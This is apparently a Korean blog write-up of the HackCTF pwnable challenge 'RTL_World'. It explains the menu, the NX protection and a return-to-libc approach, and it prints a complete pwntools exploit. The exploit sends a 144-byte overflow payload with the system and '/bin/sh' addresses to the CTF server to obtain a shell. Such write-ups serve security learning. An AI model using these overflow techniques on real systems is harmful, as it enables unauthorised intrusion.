tmxklab
[HackCTF/Pwnable] RTL_World 본문
1. 문제확인
nc ctf.j0n9hyun.xyz 3010
1) 접속
1번 : Binary Boss에 대한 메모리 보호기법 등 정보를 얻을 수 있다.
2번 : 3가지 방법을 통해 돈을 얻을 수 있는 메뉴
3~4번 : 돈을 모아 System Armor와 Shell Sword를 구입할 수 있는 메뉴
5번 : 사용자의 입력을 받을 수 있는 메뉴
2) IDA(Pseudocode)확인 - main()
3) $checksec를 통해 elf파일에 걸린 메모리 보호기법 확인
NX가 걸린 것을 보아 제목에서 처럼 라이브러리에 있는 실행권한을 이용하여 RTL공격을 하면 될 것 같다.
2. 접근방법
1) 결론
- read함수를 통해 bof를 일으켜 RTL공격을 실행
- 이 때, RTL공격에 사용할 system함수와 "/bin/sh"문자열의 주소 값을 찾아야 한다.
3. 풀이
1) system함수의 주소 값 찾기
2) "/bin/sh" 주소 값 찾기
3) 공격코드 작성
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3010)
system_addr = 0x080485b0
binsh_addr = 0x8048eb1
p.sendline("5")
p.recvuntil("[Attack] > ")
payload = "A"*144
payload += p32(system_addr)
payload += "A"*4
payload += p32(binsh_addr)
p.sendline(payload)
p.interactive()
4) 공격 실행
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] Poet (0) | 2020.02.22 |
---|---|
[HackCTF/Pwnable] g++ pwn (0) | 2020.02.22 |
[HackCTF/Pwnable] Yes or no (0) | 2020.02.22 |
[HackCTF/Pwnable] BOF_PIE (0) | 2020.01.28 |
[HackCTF/Pwnable] Offset (0) | 2020.01.27 |
Comments